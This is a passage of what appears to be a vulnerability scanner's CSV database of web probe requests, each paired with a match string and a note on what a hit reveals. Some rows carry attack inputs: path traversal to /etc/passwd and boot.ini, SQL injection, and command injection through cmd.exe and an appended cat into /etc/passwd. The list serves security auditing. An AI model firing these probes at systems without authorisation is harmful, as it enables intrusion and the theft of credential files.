scanner.","","" "002560","3093","1","/php/php4ts.dll","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002561","3093","1","/pks/lookup","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002562","3093","1","/pm/lib.inc.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002563","3093","1","/poppassd.php3+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002564","3093","1","/produccart/pdacmin/login.asp?|-|0|404_Object_Not_Found","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002565","3093","1","/productcart/database/EIPC.mdb","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002566","3093","1","/productcart/pc/Custva.asp?|-|0|404_Object_Not_Found","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002567","3093","1","/ProductCart/pc/msg.asp?|-|0|404_Object_Not_Found","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002568","3093","1","/product_info.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002569","3093","1","/prometheus-all/index.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002570","3093","1","/proplus/admin/login.php+-d+\"action=insert\"+-d+\"username=test\"+-d+\"password=test\"","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002571","3093","1","/protected/","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002572","3093","1","/protected/secret.html+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002573","3093","1","/protectedpage.php?uid='%20OR%20''='&pwd='%20OR%20''='","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002574","3093","1","/protection.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002575","3093","1","/pt_config.inc","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002576","3093","1","/pvote/add.php?question=AmIgAy&o1=yes&o2=yeah&o3=well..yeah&o4=bad%20","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002577","3093","1","/pvote/del.php?pollorder=1%20","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002578","3093","1","/quikmail/nph-emumail.cgi?type=../%00","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002579","3093","1","/room/save_item.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002580","3093","1","/rubrique.asp?no=%60/etc/passwd%60|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002581","3093","1","/rubrique.asp?no=....//....//....//....//....//....//....//etc.passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002582","3093","1","/rubrique.asp?no=../../../../../../../../../etc/passwd%00|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002583","3093","1","/rubrique.asp?no=/....../boot.ini|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002584","3093","1","/rubrique.asp?no=/.../.../.../.../.../.../boot.ini|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002585","3093","1","/rubrique.asp?no=/../../../../../../../../../../../../../../../../../../../../boot.ini|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002586","3093","1","/rubrique.asp?no=/../../../../../../etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002587","3093","1","/rubrique.asp?no=/../../../etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002588","3093","1","/rubrique.asp?no=/.\"./.\"./.\"./.\"./.\"./boot.ini|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002589","3093","1","/rubrique.asp?no=/etc/passwd%00|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002590","3093","1","/rubrique.asp?no=/etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002591","3093","1","/rubrique.asp?no=c:\boot.ini|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'c:'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002592","3093","1","/screen.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002593","3093","1","/scripts/tradecli.dll","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002594","3093","1","/scripts/tradecli.dll?template=nonexistfile?template=..\..\..\..\..\winnt\system32\cmd.exe?/c+dir","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002595","3093","1","/security/web_access.html","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002596","3093","1","/sendphoto.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002597","3093","1","/servers/link.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002598","3093","1","/setpasswd.cgi","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002599","3093","1","/shop/php_files/site.config.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002600","3093","1","/shop/search.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002601","3093","1","/shop/show.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002602","3093","1","/shoutbox/expanded.php?conf=../../../../../../../etc/passwd%20","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002603","3093","1","/Site/biztalkhttpreceive.dll","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002604","3093","1","/site_searcher.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002605","3093","1","/spelling.php3+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002606","3093","1","/squirrelmail/src/read_body.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002607","3093","1","/staticpages/index.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002608","3093","1","/status.php3","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002609","3093","1","/supporter/index.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002610","3093","1","/supporter/tupdate.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002611","3093","1","/sw000.asp?|-|0|404_Object_Not_Found","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002612","3093","1","/syslog.htm?%20","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002613","3093","1","/technote/print.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002614","3093","1","/texis/websearch/phine","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002615","3093","1","/tinymsg.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002616","3093","1","/tmp_view.php?file=/etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002617","3093","1","/topic/entete.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002618","3093","1","/topsitesdir/edit.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002619","3093","1","/ttforum/index.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002620","3093","1","/tutos/file/file_new.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002621","3093","1","/tutos/file/file_select.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002622","3093","1","/typo3/typo3/dev/translations.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002623","3093","1","/uifc/MultFileUploadHandler.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002624","3093","1","/url.jsp","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002625","3093","1","/useraction.php3","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002626","3093","1","/userreg.cgi?cmd=insert&lang=eng&tnum=3&fld1=test999%0acat</var/spool/mail/login>>/etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002627","3093","1","/utils/sprc.asp+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002628","3093","1","/vars.inc+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002629","3093","1","/VBZooM/add-subject.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002630","3093","1","/wbboard/profile.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002631","3093","1","/wbboard/reply.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002632","3093","1","/webcalendar/login.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002633","3093","1","/webcalendar/view_m.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002634","3093","1","/webmail/lib/emailreader_execute_on_each_page.inc.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002635","3093","1","/webmail/src/read_body.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002636","3093","1","/web_app/WEB-INF/webapp.properties","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002637","3093","1","/XMBforum/buddy.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002638","3093","1","/XMBforum/member.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002639","3093","1","/x_stat_admin.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002640","3093","1","/yabbse/Reminder.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002641","3093","1","/yabbse/Sources/Packages.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002642","3093","1","/zentrack/index.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002643","3093","1","/_head.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002644","3093","1","@CGIDIRSadduser.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002645","3093","1","@CGIDIRSamadmin.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002646","3093","1","@CGIDIRSanyboard.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002647","3093","1","@CGIDIRSAT-generate.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002648","3093","1","@CGIDIRSauctiondeluxe/auction.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002649","3093","1","@CGIDIRSawl/auctionweaver.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002650","3093","1","@CGIDIRSbb-ack.sh","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002651","3093","1","@CGIDIRSbb-histlog.sh","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002652","3093","1","@CGIDIRSbb-rep.sh","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002653","3093","1","@CGIDIRSbb-replog.sh","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002654","3093","1","@CGIDIRSbbs_forum.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002655","3093","1","@CGIDIRSbuild.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002656","3093","1","@CGIDIRSbulk/bulk.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002657","3093","1","@CGIDIRScached_feed.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002658","3093","1","@CGIDIRScalender_admin.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002659","3093","1","@CGIDIRScartmanager.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002660","3093","1","@CGIDIRScbmc/forums.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002661","3093","1","@CGIDIRScgforum.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002662","3093","1","@CGIDIRSchange-your-password.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002663","3093","1","@CGIDIRSclickresponder.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002664","3093","1","@CGIDIRScommandit.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002665","3093","1","@CGIDIRScounter-ord","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002666","3093","1","@CGIDIRScounterbanner","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002667","3093","1","@CGIDIRScounterbanner-ord","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002668","3093","1","@CGIDIRScounterfiglet-ord","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002669","3093","1","@CGIDIRScounterfiglet/nc/","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002670","3093","1","@CGIDIRSCSMailto.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002671","3093","1","@CGIDIRSCSMailto/CSMailto.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002672","3093","1","@CGIDIRScsNews.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002673","3093","1","@CGIDIRScsPassword.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002674","3093","1","@CGIDIRScsPassword/csPassword.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002675","3093","1","@CGIDIRScutecast/members/","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002676","3093","1","@CGIDIRSday5datanotifier.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002677","3093","1","@CGIDIRSdb2www/library/document.d2w/show","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002678","3093","1","@CGIDIRSdb_manager.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002679","3093","1","@CGIDIRSDCFORMS98.CGI","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002680","3093","1","@CGIDIRSdnewsweb","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002681","3093","1","@CGIDIRSdonothing","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002682","3093","1","@CGIDIRSezshopper2/loadpage.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002683","3093","1","@CGIDIRSezshopper3/loadpage.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002684","3093","1","@CGIDIRSif/admin/nph-build.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002685","3093","1","@CGIDIRSikonboard/help.cgi?","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002686","3093","1","@CGIDIRSimageFolio.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002687","3093","1","@CGIDIRSimagefolio/admin/admin.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002688","3093","1","@CGIDIRSjournal.cgi?folder=journal.cgi%00","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002689","3093","1","@CGIDIRSmagiccard.cgi?pa=3Dpreview&next=3Dcustom&page=3D../../../../../../../../../../etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002690","3093","1","@CGIDIRSmajordomo.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002691","3093","1","@CGIDIRSmojo/mojo.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002692","3093","1","@CGIDIRSncommerce3/ExecMacro/macro.d2w/%0a%0a","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002693","3093","1","@CGIDIRSncommerce3/ExecMacro/macro.d2w/NOEXISTINGHTMLBLOCK","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002694","3093","1","@CGIDIRSnon-existent.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002695","3093","1","@CGIDIRSnph-exploitscanget.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002696","3093","1","@CGIDIRSnph-maillist.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002697","3093","1","@CGIDIRSparse-file","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002698","3093","1","@CGIDIRSphp-cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002699","3093","1","@CGIDIRSpollssi.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002700","3093","1","@CGIDIRSpostcards.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002701","3093","1","@CGIDIRSprofile.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002702","3093","1","@CGIDIRSquikstore.cfg","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002703","3093","1","@CGIDIRSregister.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002704","3093","1","@CGIDIRSreplicator/webpage.cgi/","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002705","3093","1","@CGIDIRSrightfax/fuwww.dll/?","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002706","3093","1","@CGIDIRSrmp_query","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002707","3093","1","@CGIDIRSrobpoll.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002708","3093","1","@CGIDIRSscripts/*%0a.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002709","3093","1","@CGIDIRSsimplestguest.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002710","3093","1","@CGIDIRSsimplestmail.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002711","3093","1","@CGIDIRSstatusconfig.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002712","3093","1","@CGIDIRSsws/manager.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002713","3093","1","@CGIDIRStexis/phine","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002714","3093","1","@CGIDIRSUpload.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002715","3093","1","@CGIDIRSutm/admin","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002716","3093","1","@CGIDIRSutm/utm_stat","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002717","3093","1","/ows-bin/oaskill.exe?abcde.exe","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002718","3093","1","/ows-bin/oasnetconf.exe?-l%20-s%20BlahBlah","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002719","3093","1","@CGIDIRS/_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002720","3093","1","@CGIDIRS/_vti_pvt/doctodep.btr","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002721","3093","1","@CGIDIRScfgwiz.exe","GET","200","","","","","cfgwiz.exe is a Norton Anti-Virus file and should not be available via the web site.","","" "002722","3093","1","@CGIDIRSCgitest.exe","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002723","3093","1","@CGIDIRSmailform.exe","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002724","3093","1","@CGIDIRSms_proxy_auth_query/","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002725","3093","1","@CGIDIRSpost16.exe","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002726","3093","2","/oem_webstage/oem.conf","GET","DocumentRoot","","","","","Oracle reveals a portion of the Apache httpd.conf file.","","" "002727","3093","2","/database/","GET","200","","","","","Databases? Really??","","" "002728","3093","2","/demo/sql/index.jsp","GET","JSP SQL Samples","","","","","This default may allow connectivity to the Oracle databases.","","" "002729","3093","23","@CGIDIRS.htaccess","GET","200","","","","","Contains authorization information","","" "002730","3093","23","@CGIDIRS.htaccess.old","GET","200","","","","","Backup/Old copy of .htaccess - Contains authorization information","","" "002731","3093","23","@CGIDIRS.htaccess.save","GET","200","","","","","Backup/Old copy of .htaccess - Contains authorization information","","" "002732","3093","23","@CGIDIRS.htaccess~","GET","200","","","","","Backup/Old copy of .htaccess - Contains authorization information","","" "002733","3093","23","@CGIDIRS.htpasswd","GET","200","","","","","Contains authorization information","","" "002734","3093","23","@CGIDIRS.passwd","GET","200","","","","","Contains authorization information","","" "002735","3093","3","/.wwwacl","GET","200","","","","","Contains authorization information","","" "002736","3093","3","/.www_acl","GET","200","","","","","Contains authorization information","","" "002737","3093","3","@CGIDIRS.wwwacl","GET","200","","","","","Contains authorization information","","" "002738","3093","3","@CGIDIRS.www_acl","GET","200","","","","","Contains authorization information","","" "002739","3093","3","/.htpasswd","GET","200","","","","","Contains authorization information","","" "002740","3093","3","/.access","GET","200","","","","","Contains authorization information","","" "002741","3093","3","/.addressbook","GET","200","","","","","PINE addressbook, may store sensitive e-mail address contact information and notes","","" "002742","3093","3","/.bashrc","GET","200","","","","","User home dir was found with a shell rc file. This may reveal file and path information.","","" "002743","3093","3","/.bash_history","GET","200","","","","","A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web.","","" "002744","3093","3","/.forward","GET","200","","","","","User home dir was found with a mail forward file. May reveal where the user's mail is being forwarded to.","","" "002745","3093","3","/.history","GET","200","","","","","A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web.","","" "002746","3093","3","/.htaccess","GET","200","","","","","Contains authorization information","","" "002747","3093","3","/.lynx_cookies","GET","200","","","","","User home dir found with LYNX cookie file. May reveal cookies received from arbitrary web sites.","","" "002748","3093","3","/.mysql_history","GET","200","","","","","Database SQL?","","" "002749","3093","3","/.passwd","GET","200","","","","","Contains authorization information","","" "002750","3093","3","/.pinerc","GET","200","","","","","User home dir found with a PINE rc file. May reveal system information, directories and more.","","" "002751","3093","3","/.plan","GET","200","","","","","User home dir with a .plan, a now mostly outdated file for delivering information via the finger protocol ","","" "002752","3093","3","/.proclog","GET","200","","","","","User home dir with a Procmail log file. May reveal user mail traffic, directories and more.","","" "002753","3093","3","/.procmailrc","GET","200","","","","","User home dir with a Procmail rc file. May reveal sub directories, mail contacts and more.","","" "002754","3093","3","/.profile","GET","200","","","","","User home dir with a shell profile was found. May reveal directory information and system configuration.","","" "002755","3093","3","/.rhosts","GET","200","","","","","A user's home directory may be set to the web root, a .rhosts file was retrieved. This should not be accessible via the web.","","" "002756","3093","3","/.sh_history","GET","200","","","","","A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web.","","" "002757","3093","3","/.ssh","GET","200","","","","","A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web.","","" "002758","3093","3","/.ssh/authorized_keys","GET","200","","","","","A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web.","","" "002759","3093","3","/.ssh/known_hosts","GET","200","","","","","A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web.","","" "002760","31","3","@CGIDIRSls","GET"," neither '/","","","","","The CERN server lets attackers view the host's path. Should be upgraded to Apache, as CERN is not maintained.","","" "002761","3133","7","////../../data/config/microsrv.cfg","GET","HostName","","","","","Xerox WorkCentre allows any file to be retrieved remotely.","","" "002762","3133","7","////////../../../../../../etc/passwd","GET","root:","","","","","Xerox WorkCentre allows any file to be retrieved remotely.","","" "002763","3233","b","/_vti_bin/shtml.exe/_vti_rpc","GET","200","","","","","FrontPage may be installed.","","" "002764","3233","2","/doc/rt/overview-summary.html","GET","Packages","","","","","Oracle Business Components for Java 3.1 docs is running.","","" "002765","3233","2","/docs/sdb/en/html/index.html","GET","Support Database","","","","","This may be a default SuSe Apache install. This is the support page.","","" "002766","3233","2","/jservdocs/","GET","200","","","","","Default Apache JServ docs should be removed.","","" "002767","3233","2","/test/jsp/buffer1.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002768","3233","2","/test/jsp/buffer2.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002769","3233","2","/test/jsp/buffer3.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002770","3233","2","/test/jsp/buffer4.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002771","3233","2","/test/jsp/declaration/IntegerOverflow.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002772","3233","2","/test/jsp/extends1.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002773","3233","2","/test/jsp/extends2.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002774","3233","2","/test/jsp/Language.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002775","3233","2","/test/jsp/pageAutoFlush.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002776","3233","2","/test/jsp/pageDouble.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002777","3233","2","/test/jsp/pageExtends.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002778","3233","2","/test/jsp/pageImport2.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002779","3233","2","/test/jsp/pageInfo.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002780","3233","2","/test/jsp/pageInvalid.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002781","3233","2","/test/jsp/pageIsErrorPage.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002782","3233","2","/test/jsp/pageIsThreadSafe.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002783","3233","2","/test/jsp/pageSession.jsp","GET","Internal Servlet","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002784","3233","2","/test/realPath.jsp","GET","WEBROOT","","","","","Apache Tomcat default file found which reveals the web root. The /test directory should be removed.","","" "002785","3233","2","/tomcat-docs/index.html","GET","200","","","","","Default Apache Tomcat documentation found.","","" "002786","3233","2","@CGIDIRStest-cgi.bat","GET","200","","","","","This is an Apache for Win default. If Apache is lower than 1.3.23, this can be exploited as in test-cgi.bat?|dir+c:+>..\htdocs\listing.txt, but may not allow data sent back to the browser.","","" "002787","3233","2","/akopia/","GET","200","","","","","Akopia is installed.","","" "002788","3233","2","/bc4j.html","GET","Business Components","","","","","Default Oracle page, may allow limited administration.","","" 